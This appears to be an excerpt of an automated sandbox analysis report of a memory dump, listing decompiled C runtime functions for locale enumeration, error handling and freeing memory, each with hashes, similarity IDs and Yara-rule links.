Opcode Fuzzy Hash: 5e696e69912e1390c3b218b4069204750bef8729cc2d18faa902e992561f9320
Instruction Fuzzy Hash: 07B16931220649CFD715DF29C486B657BA0FF453A4F258658F9A9CF2A2C335E981CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6E3EF, Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 6DD5D5FF: GetLastError.KERNEL32(?,6DDECE94,6DD51803,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D603
Part of subcall function 6DD5D5FF: _free.LIBCMT ref: 6DD5D636
Part of subcall function 6DD5D5FF: SetLastError.KERNEL32(00000000,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D677
Part of subcall function 6DD5D5FF: _abort.LIBCMT ref: 6DD5D67D

Part of subcall function 6DD5D5FF: _free.LIBCMT ref: 6DD5D65E
Part of subcall function 6DD5D5FF: SetLastError.KERNEL32(00000000,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D66B

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 6DD6E443

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$_free$InfoLocale_abort
String ID:
API String ID: 1663032902-0
Opcode ID: 04f246c50c1a0c6c250371cc74f4c5d149ffc6cc6f11ebef94bfb0e62e1adc01
Instruction ID: d6bdb650076353aa7e3a93fc7909f2284d920d693fbba3907de9cb24c99ea04f
Opcode Fuzzy Hash: 04f246c50c1a0c6c250371cc74f4c5d149ffc6cc6f11ebef94bfb0e62e1adc01
Instruction Fuzzy Hash: 7321A172558187DBEB14AB29CC41BBA73ACEF41324F10806AFE05C6185EB75E944CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6E077, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 6DD5D5FF: GetLastError.KERNEL32(?,6DDECE94,6DD51803,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D603
Part of subcall function 6DD5D5FF: _free.LIBCMT ref: 6DD5D636
Part of subcall function 6DD5D5FF: SetLastError.KERNEL32(00000000,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D677
Part of subcall function 6DD5D5FF: _abort.LIBCMT ref: 6DD5D67D

EnumSystemLocalesW.KERNEL32(6DD6E19F,00000001,00000000,?,6DD5E03B,?,6DD6E7CC,00000000,?,?,?), ref: 6DD6E0E9

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: c0fee1c7f6220451f7e7c74529f9eb1c9c04ca56f3172ed3c633a0ba522a5ef3
Instruction ID: 1fb0fcf49db318b574b7c15849f1bf3519deb5c6ceae53db1955a70b202b00ed
Opcode Fuzzy Hash: c0fee1c7f6220451f7e7c74529f9eb1c9c04ca56f3172ed3c633a0ba522a5ef3
Instruction Fuzzy Hash: 1711E9372047029FDB18AF39CC9067ABBA2FF84358F15842CF94687A41D775A542DB90

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6E61F, Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 6DD5D5FF: GetLastError.KERNEL32(?,6DDECE94,6DD51803,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D603
Part of subcall function 6DD5D5FF: _free.LIBCMT ref: 6DD5D636
Part of subcall function 6DD5D5FF: SetLastError.KERNEL32(00000000,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D677
Part of subcall function 6DD5D5FF: _abort.LIBCMT ref: 6DD5D67D

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,6DD6E49A,00000000,00000000,?), ref: 6DD6E64B

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$InfoLocale_abort_free
String ID:
API String ID: 2692324296-0
Opcode ID: 6411a4e1ad4153631576c8746ec2e96a66e137f351c433f4d7d21dce02727fbd
Instruction ID: b1740dfc8951b7abc902b0a71b8c2757f921f4d98c6ce01a203fc21168218d9b
Opcode Fuzzy Hash: 6411a4e1ad4153631576c8746ec2e96a66e137f351c433f4d7d21dce02727fbd
Instruction Fuzzy Hash: 49F0F932614156ABDB146BA48C05BBB7768EB40718F018869FE19E3140EA74FD0186F0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6DF65, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6DD5D5FF: GetLastError.KERNEL32(?,6DDECE94,6DD51803,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D603
Part of subcall function 6DD5D5FF: _free.LIBCMT ref: 6DD5D636
Part of subcall function 6DD5D5FF: SetLastError.KERNEL32(00000000,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D677
Part of subcall function 6DD5D5FF: _abort.LIBCMT ref: 6DD5D67D

Part of subcall function 6DD5D5FF: _free.LIBCMT ref: 6DD5D65E
Part of subcall function 6DD5D5FF: SetLastError.KERNEL32(00000000,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D66B

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,6DD5E042,00000000,6DD5E162), ref: 6DD6DFB9

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$_free$InfoLocale_abort
String ID:
API String ID: 1663032902-0
Opcode ID: 48cac51acf83b9c7815c604e56f41303b2d9c230811dfc34d8879224c7f81f2f
Instruction ID: f8085413c2c737d388fb703cae334767945684005fdb6ef79bd2ca81856e8f54
Opcode Fuzzy Hash: 48cac51acf83b9c7815c604e56f41303b2d9c230811dfc34d8879224c7f81f2f
Instruction Fuzzy Hash: ECF02D726541869BDB14BF78DC45EBA73ACDB86314F1141B9FA06DB240EF74AD0487B0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6E112, Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 6DD5D5FF: GetLastError.KERNEL32(?,6DDECE94,6DD51803,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D603
Part of subcall function 6DD5D5FF: _free.LIBCMT ref: 6DD5D636
Part of subcall function 6DD5D5FF: SetLastError.KERNEL32(00000000,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D677
Part of subcall function 6DD5D5FF: _abort.LIBCMT ref: 6DD5D67D

EnumSystemLocalesW.KERNEL32(6DD6E3EF,00000001,00000006,?,6DD5E03B,?,6DD6E790,6DD5E03B,?,?,?,?,?,6DD5E03B,?,?), ref: 6DD6E15E

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: 5b585a84e52f9888094617c488782c019247ea98a97e4fc20874738b344ce80f
Instruction ID: c55120c86d9c42ed6519f8289a5f116865cce73b3c50f149a7248551cad6edd9
Opcode Fuzzy Hash: 5b585a84e52f9888094617c488782c019247ea98a97e4fc20874738b344ce80f
Instruction Fuzzy Hash: C6F022322043865FEB147F39CC80A7A7BA1EF8172CF05802CFA06CB640D3B5E84296A0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD63952, Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 6DD52361: EnterCriticalSection.KERNEL32(-000BFC7F,?,6DD592B1,00000000,6DDD2CE8,0000000C,6DD5926C,?,?,?,6DD5C822,?,?,6DD5D6B4,00000001,00000364), ref: 6DD52370

EnumSystemLocalesW.KERNEL32(6DD6390C,00000001,6DDD3078,0000000C), ref: 6DD6398A

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 98d1023c90ea457bc80020c710932a616e2aba38681ebc51dfd5409e7777b5e7
Instruction ID: a13f37d104b2d56295d065f5a2a595065f930deb8b5715ffc5db8ad733e8bec9
Opcode Fuzzy Hash: 98d1023c90ea457bc80020c710932a616e2aba38681ebc51dfd5409e7777b5e7
Instruction Fuzzy Hash: 64F04436A50210EFEF00FF68C845F6D3BB0EB06325F16805AF910DB295CB3489449FA1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6E00E, Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 6DD5D5FF: GetLastError.KERNEL32(?,6DDECE94,6DD51803,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D603
Part of subcall function 6DD5D5FF: _free.LIBCMT ref: 6DD5D636
Part of subcall function 6DD5D5FF: SetLastError.KERNEL32(00000000,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D677
Part of subcall function 6DD5D5FF: _abort.LIBCMT ref: 6DD5D67D

EnumSystemLocalesW.KERNEL32(6DD6DF65,00000001,00000006,?,?,6DD6E7EE,6DD5E03B,?,?,?,?,?,6DD5E03B,?,?,?), ref: 6DD6E045

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: 67788c61271ddf0b9ab3bc58023964b4241f4298a8429e25c62cbb431a1a31fe
Instruction ID: 8b010204aa76fade899da3d41424c444755eac0bd6412b34eaa5560629e62de9
Opcode Fuzzy Hash: 67788c61271ddf0b9ab3bc58023964b4241f4298a8429e25c62cbb431a1a31fe
Instruction Fuzzy Hash: 24F0A03A24028697DB04AF39D944A7A7BA4EBC2714F064058FA098B641CA759846C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD4E079, Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

0, xrefs: 6DD4E1E9

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: c3b3a44a33e3dfe07a1a69b5db6e0a9dd8f9e9e3da1b76fad72fd456ee2bed9f
Instruction ID: 7bf3c0fb38a7d9f590bf35aacb48e089b687bb99fd1cf6c59768e3ad1ec99832
Opcode Fuzzy Hash: c3b3a44a33e3dfe07a1a69b5db6e0a9dd8f9e9e3da1b76fad72fd456ee2bed9f
Instruction Fuzzy Hash: C95168307C8A47F7EB25F7788990BBE3795AB42348F00C91AF9A1C72C3C255E5068762

Uniqueness

Uniqueness Score: -1.00%

Function 6DCF16BC, Relevance: 1.3, Strings: 1, Instructions: 27COMMON

Download Yara Rule

Strings

yPD, xrefs: 6DCF16D5, 6DCF16F6

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: yPD
API String ID: 0-3145042548
Opcode ID: a366994510c6e91742ab4a560605d56e3a412a4edb7de2e4d2033a9dc17f2a2c
Instruction ID: 33955843e79cc1aeae7594af9f2abb5f65b1408414ddd09b5a80b43890b12783
Opcode Fuzzy Hash: a366994510c6e91742ab4a560605d56e3a412a4edb7de2e4d2033a9dc17f2a2c
Instruction Fuzzy Hash: D5F01C75700549EFDB04DF58C540F76B7A8FB09A10F144569E826CB791EB35E8048B50

Uniqueness

Uniqueness Score: -1.00%

Function 6DD584BB, Relevance: .7, Instructions: 669COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8523af5c97278a256f956927936cddcbb9548291b82c93668b5720af8e6ace69
Instruction ID: 4203224aee5fca0f14f79fd573930430f3e3176ac72f1c9bbd6b273bde65b838
Opcode Fuzzy Hash: 8523af5c97278a256f956927936cddcbb9548291b82c93668b5720af8e6ace69
Instruction Fuzzy Hash: 84329074A1020BDFDF14DF98C991ABEBBB5FF85304F244168E94197306D732AA66CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6DD667D9, Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bf8f46d92c9c38c72c889dcc4398339556b8f28616d50cca96acb58d2383744
Instruction ID: c011516bffadd97eb65bd3aab8b6c96e3166f0dac8e4dd4859470c6e26ab2304
Opcode Fuzzy Hash: 7bf8f46d92c9c38c72c889dcc4398339556b8f28616d50cca96acb58d2383744
Instruction Fuzzy Hash: 94322A22D79F814EEB236634C821339A25DAFB73C5F11D727F825B5D9AEB29C0874180

Uniqueness

Uniqueness Score: -1.00%

Function 6DD33E00, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 7b28fa2f42e10aac543aa94388cb494611774eccacacf9f989522319a341d82a
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: C8112BB72401B3C3E301ABEDC6B46B7A395EBC722572B437AF0616B656D223D1459700

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6BF64, Relevance: 19.6, APIs: 13, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DD6BF64(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0x6ddd50b8) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E6DD5CBD3(_t46);
							E6DD6C7CF( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E6DD5CBD3(_t47);
							E6DD6CCC3( *((intOrPtr*)(_t74 + 0x88)));
						}
						E6DD5CBD3( *((intOrPtr*)(_t74 + 0x7c)));
						E6DD5CBD3( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E6DD5CBD3( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E6DD5CBD3( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E6DD5CBD3( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E6DD5CBD3( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E6DD6C0D7( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t16 = _t74 + 0xa0; // 0xa0
				_t55 = _t16;
				_v8 = _t28;
				_t18 = _t74 + 0x28; // 0x28
				_t70 = _t18;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x6ddd52b0) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E6DD5CBD3(_t31);
							E6DD5CBD3( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E6DD5CBD3(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E6DD5CBD3(_t74);
			}

0x6dd6bf6c
0x6dd6bf70
0x6dd6bf78
0x6dd6bf81
0x6dd6bf86
0x6dd6bf8d
0x6dd6bf95
0x6dd6bf9d
0x6dd6bfa8
0x6dd6bfae
0x6dd6bfaf
0x6dd6bfb7
0x6dd6bfbf
0x6dd6bfca
0x6dd6bfd0
0x6dd6bfd4
0x6dd6bfdf
0x6dd6bfe5
0x6dd6bf86
0x6dd6bfe6
0x6dd6bfee
0x6dd6c001
0x6dd6c014
0x6dd6c022
0x6dd6c02d
0x6dd6c032
0x6dd6c03b
0x6dd6c043
0x6dd6c044
0x6dd6c044
0x6dd6c04a
0x6dd6c04d
0x6dd6c04d
0x6dd6c050
0x6dd6c057
0x6dd6c059
0x6dd6c05d
0x6dd6c065
0x6dd6c06c
0x6dd6c072
0x6dd6c073
0x6dd6c073
0x6dd6c07a
0x6dd6c07c
0x6dd6c081
0x6dd6c089
0x6dd6c08e
0x6dd6c08f
0x6dd6c08f
0x6dd6c092
0x6dd6c095
0x6dd6c098
0x6dd6c09b
0x6dd6c09b
0x6dd6c0ad

APIs

___free_lconv_mon.LIBCMT ref: 6DD6BFA8

Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C7EC
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C7FE
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C810
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C822
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C834
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C846
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C858
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C86A
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C87C
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C88E
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C8A0
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C8B2
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C8C4

_free.LIBCMT ref: 6DD6BF9D

Part of subcall function 6DD5CBD3: HeapFree.KERNEL32(00000000,00000000,?,6DD6CFAF,00000000,00000000,00000000,00000000,?,6DD6D2B4,00000000,00000007,00000000,?,6DD6C0FC,00000000), ref: 6DD5CBE9
Part of subcall function 6DD5CBD3: GetLastError.KERNEL32(00000000,?,6DD6CFAF,00000000,00000000,00000000,00000000,?,6DD6D2B4,00000000,00000007,00000000,?,6DD6C0FC,00000000,00000000), ref: 6DD5CBFB

_free.LIBCMT ref: 6DD6BFBF
_free.LIBCMT ref: 6DD6BFD4
_free.LIBCMT ref: 6DD6BFDF
_free.LIBCMT ref: 6DD6C001
_free.LIBCMT ref: 6DD6C014
_free.LIBCMT ref: 6DD6C022
_free.LIBCMT ref: 6DD6C02D
_free.LIBCMT ref: 6DD6C065
_free.LIBCMT ref: 6DD6C06C
_free.LIBCMT ref: 6DD6C089
_free.LIBCMT ref: 6DD6C0A1

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 1d37ac998b1d21197b6bc60ee0aefe7ede48148ee7147ca865899cefdc5452ba
Instruction ID: 61ad6b2ad83aaf65e0550555f8c88b0a446b76b9ac8dd337978e1806614f1a3e
Opcode Fuzzy Hash: 1d37ac998b1d21197b6bc60ee0aefe7ede48148ee7147ca865899cefdc5452ba
Instruction Fuzzy Hash: F8313D31648246EFEF20AB38D844B6A77F9AF00314F115919F168D71A2EB31B9648BB0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5D3EF, Relevance: 15.1, APIs: 10, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DD5D3EF(char _a4) {
				char _v8;

				_t26 = _a4;
				_t52 =  *_a4;
				if( *_a4 != 0x6dd80c10) {
					E6DD5CBD3(_t52);
					_t26 = _a4;
				}
				E6DD5CBD3( *((intOrPtr*)(_t26 + 0x3c)));
				E6DD5CBD3( *((intOrPtr*)(_a4 + 0x30)));
				E6DD5CBD3( *((intOrPtr*)(_a4 + 0x34)));
				E6DD5CBD3( *((intOrPtr*)(_a4 + 0x38)));
				E6DD5CBD3( *((intOrPtr*)(_a4 + 0x28)));
				E6DD5CBD3( *((intOrPtr*)(_a4 + 0x2c)));
				E6DD5CBD3( *((intOrPtr*)(_a4 + 0x40)));
				E6DD5CBD3( *((intOrPtr*)(_a4 + 0x44)));
				E6DD5CBD3( *((intOrPtr*)(_a4 + 0x360)));
				_v8 =  &_a4;
				E6DD5D23E(5,  &_v8);
				_v8 =  &_a4;
				return E6DD5D28E(4,  &_v8);
			}

0x6dd5d3f5
0x6dd5d3f8
0x6dd5d400
0x6dd5d403
0x6dd5d408
0x6dd5d40b
0x6dd5d40f
0x6dd5d41a
0x6dd5d425
0x6dd5d430
0x6dd5d43b
0x6dd5d446
0x6dd5d451
0x6dd5d45c
0x6dd5d46a
0x6dd5d472
0x6dd5d47b
0x6dd5d483
0x6dd5d497

APIs

_free.LIBCMT ref: 6DD5D403

Part of subcall function 6DD5CBD3: HeapFree.KERNEL32(00000000,00000000,?,6DD6CFAF,00000000,00000000,00000000,00000000,?,6DD6D2B4,00000000,00000007,00000000,?,6DD6C0FC,00000000), ref: 6DD5CBE9
Part of subcall function 6DD5CBD3: GetLastError.KERNEL32(00000000,?,6DD6CFAF,00000000,00000000,00000000,00000000,?,6DD6D2B4,00000000,00000007,00000000,?,6DD6C0FC,00000000,00000000), ref: 6DD5CBFB

_free.LIBCMT ref: 6DD5D40F
_free.LIBCMT ref: 6DD5D41A
_free.LIBCMT ref: 6DD5D425
_free.LIBCMT ref: 6DD5D430
_free.LIBCMT ref: 6DD5D43B
_free.LIBCMT ref: 6DD5D446
_free.LIBCMT ref: 6DD5D451
_free.LIBCMT ref: 6DD5D45C
_free.LIBCMT ref: 6DD5D46A

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
